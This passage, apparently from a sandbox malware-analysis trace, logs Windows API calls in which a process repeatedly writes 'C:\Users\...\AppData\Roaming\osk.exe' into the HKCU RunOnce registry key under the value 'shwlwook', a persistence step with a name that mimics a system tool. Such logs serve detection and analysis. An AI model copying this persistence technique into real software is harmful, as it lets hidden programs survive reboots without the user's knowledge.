lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.646] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.646] RegCloseKey (hKey=0x14c) returned 0x0 [0255.646] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.647] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.657] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.657] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.657] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.657] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.658] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f490 | out: ppvObject=0x624f490*=0x0) returned 0x80004002 [0255.658] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x28 [0255.658] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.658] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x29 [0255.658] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0060) returned 0x0 [0255.660] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x28 [0255.661] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.661] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.661] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.661] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.661] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f4b0 | out: ppvObject=0x624f4b0*=0x0) returned 0x80004002 [0255.661] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x29 [0255.661] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x28 [0255.661] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.661] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x28 [0255.661] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f4c0) returned 0x0 [0255.664] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x27 [0255.664] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.665] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.665] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.665] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.666] RegCloseKey (hKey=0x14c) returned 0x0 [0255.666] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.666] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.671] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.671] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.672] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.672] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.672] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f510 | out: ppvObject=0x624f510*=0x0) returned 0x80004002 [0255.672] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x29 [0255.672] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.672] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2a [0255.673] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e00c0) returned 0x0 [0255.673] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x29 [0255.673] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.673] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.673] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.674] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.674] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f530 | out: ppvObject=0x624f530*=0x0) returned 0x80004002 [0255.674] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2a [0255.674] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x29 [0255.674] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.674] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x29 [0255.674] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f540) returned 0x0 [0255.676] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x28 [0255.676] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.676] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.676] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.677] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.677] RegCloseKey (hKey=0x14c) returned 0x0 [0255.677] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.679] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.688] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.688] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.688] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.688] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.688] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f590 | out: ppvObject=0x624f590*=0x0) returned 0x80004002 [0255.689] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2a [0255.689] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.689] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2b [0255.689] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0120) returned 0x0 [0255.689] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2a [0255.689] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.689] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.689] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.689] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.690] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f5b0 | out: ppvObject=0x624f5b0*=0x0) returned 0x80004002 [0255.690] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2b [0255.690] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2a [0255.690] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.690] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2a [0255.690] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f5c0) returned 0x0 [0255.693] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x29 [0255.693] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.694] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.694] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.694] WideCharToMultiByte (in: 